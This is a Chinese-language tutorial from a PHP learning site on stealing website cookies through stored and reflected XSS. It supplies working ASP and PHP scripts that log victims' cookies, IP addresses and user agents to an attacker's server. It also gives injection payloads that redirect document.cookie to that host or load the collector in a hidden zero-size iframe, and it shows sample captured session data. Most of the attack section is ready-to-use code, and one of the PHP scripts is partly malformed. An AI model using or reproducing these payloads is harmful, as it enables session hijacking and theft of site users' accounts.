网站地图    收藏   

主页 > 后端 > 网站安全 >

XSS跨站使用php获取cookies 并保存 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 0x01简单介绍0X02背景0x03实践0x04操作问题与解决方案0x05结束--------------------------------------------------------------------0x01:XSS(CrossSiteScripting)是指恶意攻击者往Web页面里插入恶意(不一......

0x01 简单介绍

0X02 背景

0x03 实践

0x04 操作问题与解决方案

0x05 结束 

--------------------------------------------------------------------

0x01 : XSS (Cross Site Scripting)是指恶意攻击者往Web页面里插入恶意(不一定都是恶意滴比如Test)html代码,当用户浏览该页之时,嵌入其中Web里面的html代码就可能会被触发,从而达到插入者的特殊目的。

XSS攻击分成两类,

一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句

另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。XSS和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免。

0x02 :现在碰到过XSS反射 XSS入库

XSS反射型也称非持久型,是指我们通过URL构造插入自己的代码

for ex: http://Www.C.Com/index.asp?name=<script>alert('XSS')</script>

这种方式自行构造不保存 需要将自己构造的链接等待某些人去触发。

XSS入库型也称持久型,持久呀,持久。。。

for ex: 在一些网站的注册用户的个人信息处可能会出现。或者某个Text框框。。。。

-----------------------------------

常用代码

<script>alert(document.cookie)</script>
<script>alert('C')</script>

<IMG src=javascript:alert('C')>

------------------------------------

最近想要了解一下。测试了一下,终于算成功执行了。

-------------------------------------

XSS的高级应用很多,不才,了解甚微。我举例说明的比较简单,就是获取cookie。

---------------------------------------

0x03:

网站A www.a.com //有着持久XSS滴 不可控 

网站B www.b.com //自己存放获取cookies脚本滴  可控

网上资料很多 但是大多都是你转载我 我转载他。 更可恶的是转载的途中可能网站的限制等问题 转义 字符替换 乱码 等

导致脚本不能正常运行,也不给个原文出处,还可耻的装原创。

网上可见的比较简单的获取页面分 ASP PHP两种脚本 已经足够

  • ASP版本

  • <%
    msg=Request.ServerVariables("QUERY_STRING")    
    testfile=Server.MapPath("cook.txt")    
    set fs=server.CreateObject("scripting.filesystemobject")    
    set thisfile=fs.OpenTextFile(testfile,8,True,0)    
    thisfile.Writeline(""&msg& "")    
    thisfile.close    
    set fs = nothing    
    %>

  •  


  • PHP版代码:
    <?php 
    $cookie = $_GET['c']; 
    $ip = getenv ('REMOTE_ADDR'); 
    $time=date("j F, Y, g:i a"); 
    $referer=getenv ('HTTP_REFERER'); 
    $fp = fopen('cook.txt', 'a'); 
    fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>'); 
    fclose($fp); 
    ?>

  •  

 大多都这种 将其保存成 1.php 然后保存到自己的空间去

http://www.b.com/1.php

http://www.b.com/1.asp

 

然后在 入库XSS处 填写 

<script>document.location="http:// www.2cto.com /1.php?c="+document.cookie;</script>

<script>document.location="http://www.b.com/1.asp?msg="+document.cookie;</script>

 

虽然过滤不严格导致了各种形式的XSS 但是 可能因为 文本框的长度问题不能输入这么长 或者禁用过滤掉了<script></script>标签

 

0x04

测试一下发现如果 长度超标则会出现不能入库的情况 自然 就没有XSS了

如果使用一个HTM 或者HTML 文件

则获取到的cookies 则是www.b.com 的 而不在是A了 因为它先从A达了B又在B上获取的cookies

1)www.a.com/xss.asp 2)跨站www.b.com/1.html 3)1.html--->www.b.com/1.php 4)获取到了B的cookies

 

显然这样失去了我们要去获取A的cookies的初衷和意义了,因为至少B是自己可控的,A是想要去可控的。

 

我想到了可以使用只有一个php页面 没有参数 也不需要跟随 document.cookie 来获取 。因为自己不懂 php所以就结合着网上的代码自己修改了一份可以直接获取的,参数名称什么的可能起的不是很标准。

像ASP ASPX JSP prel python 啥的 我就更不懂了。欢迎大家指正或者提供一个更高效率的脚本。

 

  •  <?php
    $ch = curl_init(); 
    $ip = getenv ('REMOTE_ADDR'); 
    $time = date("Y-m-d G:i:s A");
    $referer = $_SERVER['HTTP_REFERER'];
    $agent = $_SERVER['HTTP_USER_AGENT'];
    curl_setopt($ch,CURLOPT_URL,'http://www.a.com');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER,1);
    curl_setopt($ch, CURLOPT_NOBODY, false);
    time()+94608000;     //这里是说cookies 3年内不失效,不过这样我不知道是否还有意义
    $rs = curl_exec($ch);
    preg_match_all('/Set-Cookie: (.+)=(.+)$/m', $rs, $regs);
    foreach($regs[1] as $i=>$k)
    $fp = fopen('C.html', 'a'); 
    fwrite($fp, 'k: '.$k.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br>agent: '.$agent.'<br><br><br>'); 
    fclose($fp); 
    curl_close($ch);
    ?>

  •  

 然后使用<iframe></iframe>标签 

 <iframe src="http://www.b.com/1.php";/> // 如果条件成熟 文本框长度限制不严格的话可以调整框架大小

<iframe src=http://www.b.com/1.php width=0 height=0></iframe> 否则总是会出现一个 巴掌大的操蛋小框框。。。。

 <script>document.location="http://www.b.com/1.php?c="+document.cookie;</script>

这样使用<iframe>标签相对使用 <script> 标签 带参数调用获取cookies 就要简短很多。很且获取的准确性也高了很多。

当然还是需要根据眼下的实际情况定夺,不一定可以使用<iframe> 或者是 在页面中限制了<iframe>得使用范围等等。。。

 

----------------

获取结果现实

 

k: ASPSEXXXXXXXXXXXQASCA=BOHJNXXXXXXXXXXXXXNFFAOLCGKC; path
IP: 1x0.45.1X9.105
Date and Time: 2012-00-00 00:00:51 PM
Referer: http://www.a.com/xss.asp
agent: Mozilla/7.0 (linux 2.6.18) AppleWebKit/516.11 (KHTML, like Gecko) Chrome/21.0.1142.57 Safari/516.11

 

==============================================================

0X05 一篇总结 不喜勿喷 欢迎指正 共同进步。

这只是一个在一个特定背景下完成的一个小测试。脱离了原有背景或许可以举一反三,但是如果不正确的先说明这是一个独立的背景只说用php脚本就可以获取cookies 是不负责的表现。对自己对别人都是

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论